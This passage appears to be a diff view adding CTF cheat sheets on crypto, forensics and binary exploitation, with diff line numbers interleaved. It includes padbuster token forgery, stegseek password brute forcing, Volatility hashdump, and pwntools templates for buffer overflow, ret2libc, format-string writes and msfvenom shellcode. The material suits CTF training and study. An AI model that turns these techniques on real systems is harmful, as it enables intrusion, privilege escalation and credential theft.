├── XOR: Single-byte XOR brute → CyberChef XOR Brute Force
|
|
60
|
+
├── Substitution: Frequency analysis → quipqiup.com
|
|
61
|
+
├── Base encodings:
|
|
62
|
+
│ ├── Base64: = padding, A-Za-z0-9+/
|
|
63
|
+
│ ├── Base32: = padding, A-Z2-7
|
|
64
|
+
│ └── Base85/ASCII85: ~> delimiter
|
|
65
|
+
├── Hex: 0-9a-f only → xxd -r -p
|
|
66
|
+
└── Morse/Braille/Semaphore: visual pattern recognition
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
## Padding Oracle Attack
|
|
70
|
+
```
|
|
71
|
+
When you can detect valid vs invalid padding:
|
|
72
|
+
├── padbuster: padbuster <URL> <encrypted_sample> <block_size>
|
|
73
|
+
│ Options: -cookies "auth=<encrypted>" -encoding 0 (lowercase hex)
|
|
74
|
+
├── Manual: Compare response to correct vs incorrect padding
|
|
75
|
+
└── Decrypt AND forge new tokens — often leads to admin access
|
|
76
|
+
```
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
# Forensics & Steganography Techniques
|
|
2
|
+
|
|
3
|
+
## File Analysis
|
|
4
|
+
```
|
|
5
|
+
First steps with any file:
|
|
6
|
+
├── file <file> → identify type
|
|
7
|
+
├── strings <file> → extract readable strings
|
|
8
|
+
├── strings -el <file> → UTF-16 strings (Windows)
|
|
9
|
+
├── xxd <file> | head → hex dump
|
|
10
|
+
├── exiftool <file> → metadata (GPS, creator, timestamps, hidden fields)
|
|
11
|
+
├── binwalk <file> → embedded files/filesystems
|
|
12
|
+
│ └── binwalk -e <file> → extract embedded files
|
|
13
|
+
└── foremost <file> → file carving
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
## Steganography
|
|
17
|
+
```
|
|
18
|
+
Image stego:
|
|
19
|
+
├── steghide extract -sf <image.jpg> -p "" → try empty password first
|
|
20
|
+
├── steghide extract -sf <image.jpg> -p <pw> → with password
|
|
21
|
+
├── stegseek <image.jpg> /usr/share/wordlists/rockyou.txt → brute force
|
|
22
|
+
├── zsteg <image.png> → PNG/BMP LSB analysis
|
|
23
|
+
├── pngcheck <image.png> → PNG structure validation
|
|
24
|
+
├── Compare file size to expected → hidden data after IEND (PNG) or EOI (JPEG)
|
|
25
|
+
└── CyberChef: Extract LSB, XOR, decompress
|
|
26
|
+
|
|
27
|
+
Audio stego:
|
|
28
|
+
├── Audacity: spectrogram view (View → Spectrogram)
|
|
29
|
+
├── sonic-visualiser: layer analysis
|
|
30
|
+
├── DTMF decoder: for phone tones
|
|
31
|
+
├── morse-decoder: for morse code audio
|
|
32
|
+
└── Look for hidden images in spectrograms
|
|
33
|
+
|
|
34
|
+
Text stego:
|
|
35
|
+
├── Whitespace stego: stegsnow -C <file>
|
|
36
|
+
├── Zero-width characters: Unicode U+200B, U+200C, U+200D
|
|
37
|
+
└── Line-ending manipulation: CRLF vs LF patterns
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
## Network Forensics (PCAP)
|
|
41
|
+
```
|
|
42
|
+
Wireshark / tshark analysis:
|
|
43
|
+
├── tshark -r file.pcap -T fields -e data → raw data extraction
|
|
44
|
+
├── tshark -r file.pcap -Y "http" -T fields -e http.request.uri
|
|
45
|
+
├── tshark -r file.pcap -Y "ftp" -T fields -e ftp.request.arg
|
|
46
|
+
├── Follow TCP stream: tcp.stream eq <N>
|
|
47
|
+
├── Export HTTP objects: File → Export Objects → HTTP
|
|
48
|
+
├── DNS exfiltration: Check TXT records for base64 data
|
|
49
|
+
├── ICMP tunneling: Check data field in ICMP packets
|
|
50
|
+
└── Extract files: binwalk, foremost on raw TCP stream data
|
|
51
|
+
|
|
52
|
+
Key filters:
|
|
53
|
+
├── http.request.method == "POST" → credential submissions
|
|
54
|
+
├── ftp.request.command == "PASS" → FTP passwords
|
|
55
|
+
├── smtp contains "AUTH" → email credentials
|
|
56
|
+
├── tcp.flags.syn == 1 → connection attempts
|
|
57
|
+
└── frame contains "flag" → direct flag search
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
## Memory Forensics
|
|
61
|
+
```
|
|
62
|
+
Volatility 3 (preferred):
|
|
63
|
+
├── vol3 -f memory.dmp windows.info
|
|
64
|
+
├── vol3 -f memory.dmp windows.pslist → process list
|
|
65
|
+
├── vol3 -f memory.dmp windows.filescan → file handles
|
|
66
|
+
├── vol3 -f memory.dmp windows.cmdline → command history
|
|
67
|
+
├── vol3 -f memory.dmp windows.hashdump → password hashes
|
|
68
|
+
├── vol3 -f memory.dmp windows.netscan → network connections
|
|
69
|
+
├── vol3 -f memory.dmp windows.dumpfiles → extract files
|
|
70
|
+
└── strings memory.dmp | grep -i "flag\|password\|secret"
|
|
71
|
+
|
|
72
|
+
Volatility 2 (legacy):
|
|
73
|
+
├── vol.py -f memory.dmp imageinfo
|
|
74
|
+
├── vol.py -f memory.dmp --profile=<profile> pslist
|
|
75
|
+
└── vol.py -f memory.dmp --profile=<profile> hashdump
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
## Disk Forensics
|
|
79
|
+
```
|
|
80
|
+
├── fdisk -l disk.img → partition layout
|
|
81
|
+
├── mount -o loop,ro disk.img /mnt → mount read-only
|
|
82
|
+
├── autopsy → GUI forensic suite
|
|
83
|
+
├── sleuthkit (fls, icat) → file system analysis
|
|
84
|
+
│ ├── fls -r disk.img → list all files (including deleted)
|
|
85
|
+
│ └── icat disk.img <inode> → extract file by inode
|
|
86
|
+
├── photorec disk.img → recover deleted files
|
|
87
|
+
└── Check alternate data streams (Windows NTFS):
|
|
88
|
+
└── dir /r → lists ADS
|
|
89
|
+
```
|
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
# Binary Exploitation (Pwn) Techniques
|
|
2
|
+
|
|
3
|
+
## Recon — Identify Protections
|
|
4
|
+
```
|
|
5
|
+
Before exploiting, understand what you're dealing with:
|
|
6
|
+
├── file <binary> → architecture, linking, stripped?
|
|
7
|
+
├── checksec --file=<binary> → NX, PIE, RELRO, Canary, FORTIFY
|
|
8
|
+
├── strings <binary> → hardcoded strings, function names
|
|
9
|
+
├── ltrace ./<binary> → library calls (strcmp, system, gets)
|
|
10
|
+
├── strace ./<binary> → system calls
|
|
11
|
+
├── readelf -s <binary> → symbol table
|
|
12
|
+
├── objdump -d <binary> → disassembly (or use radare2/Ghidra)
|
|
13
|
+
└── ldd <binary> → linked libraries + ASLR check
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
## Stack Buffer Overflow
|
|
17
|
+
```
|
|
18
|
+
Classic BOF flow:
|
|
19
|
+
1. Find overflow length:
|
|
20
|
+
python3 -c "print('A'*100)" | ./<binary>
|
|
21
|
+
→ Use pattern_create to find exact offset:
|
|
22
|
+
msf-pattern_create -l 200
|
|
23
|
+
msf-pattern_offset -q <EIP_value>
|
|
24
|
+
|
|
25
|
+
2. Control EIP:
|
|
26
|
+
python3 -c "print('A'*offset + 'BBBB')" | ./<binary>
|
|
27
|
+
→ EIP should be 0x42424242
|
|
28
|
+
|
|
29
|
+
3. Find return address:
|
|
30
|
+
├── No NX: JMP ESP in binary or libc
|
|
31
|
+
│ objdump -d <binary> | grep "jmp.*esp"
|
|
32
|
+
├── NX enabled: ROP (Return Oriented Programming)
|
|
33
|
+
└── ASLR: ret2libc or leak libc address
|
|
34
|
+
|
|
35
|
+
Pwntools template:
|
|
36
|
+
from pwn import *
|
|
37
|
+
p = process('./<binary>') # or remote('host', port)
|
|
38
|
+
offset = <N>
|
|
39
|
+
payload = b'A' * offset
|
|
40
|
+
payload += p64(ret_addr) # or p32 for 32-bit
|
|
41
|
+
payload += <shellcode_or_rop>
|
|
42
|
+
p.sendline(payload)
|
|
43
|
+
p.interactive()
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
## Return Oriented Programming (ROP)
|
|
47
|
+
```
|
|
48
|
+
When NX is enabled (no shellcode execution on stack):
|
|
49
|
+
|
|
50
|
+
Find gadgets:
|
|
51
|
+
├── ROPgadget --binary <binary> --ropchain
|
|
52
|
+
├── ropper -f <binary> --search "pop rdi"
|
|
53
|
+
└── Common gadgets: pop rdi; ret, pop rsi; ret, ret (for alignment)
|
|
54
|
+
|
|
55
|
+
ret2libc:
|
|
56
|
+
├── Leak libc address → calculate system() and "/bin/sh" offsets
|
|
57
|
+
├── Pwntools: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
|
58
|
+
│ system_addr = libc.symbols['system']
|
|
59
|
+
│ bin_sh = next(libc.search(b'/bin/sh'))
|
|
60
|
+
└── Payload: pop_rdi + bin_sh + system
|
|
61
|
+
|
|
62
|
+
ret2win pattern:
|
|
63
|
+
├── Find a "win" function (prints flag, spawns shell)
|
|
64
|
+
├── Payload: padding + win_function_address
|
|
65
|
+
└── With PIE: Need a leak first, then calculate offset
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
## Format String Vulnerability
|
|
69
|
+
```
|
|
70
|
+
Detection: Send %x.%x.%x.%x → if hex values appear, vulnerable
|
|
71
|
+
|
|
72
|
+
Read memory:
|
|
73
|
+
├── %p.%p.%p... → leak stack values (find canary, addresses)
|
|
74
|
+
├── %N$p → read Nth argument directly
|
|
75
|
+
└── %s → read string at address on stack
|
|
76
|
+
|
|
77
|
+
Write memory (overwrite GOT, return address):
|
|
78
|
+
├── %n → writes number of characters printed so far
|
|
79
|
+
├── %N$n → write to Nth argument
|
|
80
|
+
├── %hn → write 2 bytes (short)
|
|
81
|
+
├── %hhn → write 1 byte
|
|
82
|
+
└── Pwntools fmtstr_payload: simplifies format string writes
|
|
83
|
+
|
|
84
|
+
Pwntools:
|
|
85
|
+
from pwn import *
|
|
86
|
+
p = process('./<binary>')
|
|
87
|
+
payload = fmtstr_payload(offset, {target_addr: desired_value})
|
|
88
|
+
p.sendline(payload)
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
## Heap Exploitation
|
|
92
|
+
```
|
|
93
|
+
Common techniques:
|
|
94
|
+
├── Use After Free (UAF): allocate → free → allocate same size → use old pointer
|
|
95
|
+
├── Double Free: free same chunk twice → overlapping allocations
|
|
96
|
+
├── Heap Overflow: overflow into next chunk metadata
|
|
97
|
+
├── Tcache poisoning (glibc 2.26+): corrupt tcache fd pointer
|
|
98
|
+
├── Fastbin dup: double free in fastbin → arbitrary write
|
|
99
|
+
└── House of Force: corrupt top chunk size → arbitrary allocation
|
|
100
|
+
|
|
101
|
+
Debug with gdb + gef/pwndbg:
|
|
102
|
+
├── heap bins → show free chunk bins
|
|
103
|
+
├── heap chunks → show all chunks
|
|
104
|
+
├── vis_heap_chunks → visual heap layout
|
|
105
|
+
└── x/20gx <addr> → examine memory
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
## Shellcode
|
|
109
|
+
```
|
|
110
|
+
When NX is disabled (rare in modern, common in CTF):
|
|
111
|
+
├── msfvenom -p linux/x64/exec CMD="/bin/sh" -f python
|
|
112
|
+
├── pwntools: shellcode = asm(shellcraft.sh())
|
|
113
|
+
├── Avoid null bytes: Use alternative instructions
|
|
114
|
+
│ xor eax, eax (instead of mov eax, 0)
|
|
115
|
+
└── Size constraints → use short shellcode or staged
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
## Common CTF Pwn Patterns
|
|
119
|
+
```
|
|
120
|
+
├── gets() / scanf("%s") → always overflows → classic BOF
|
|
121
|
+
├── printf(user_input) → format string → read/write memory
|
|
122
|
+
├── Custom malloc → heap challenge → find corruption primitive
|
|
123
|
+
├── seccomp → restricted syscalls → use allowed ones (open/read/write)
|
|
124
|
+
├── Binary with SUID bit → exploit → get that user's privileges
|
|
125
|
+
└── Server binary on remote port → connect and exploit live
|
|
126
|
+
```
|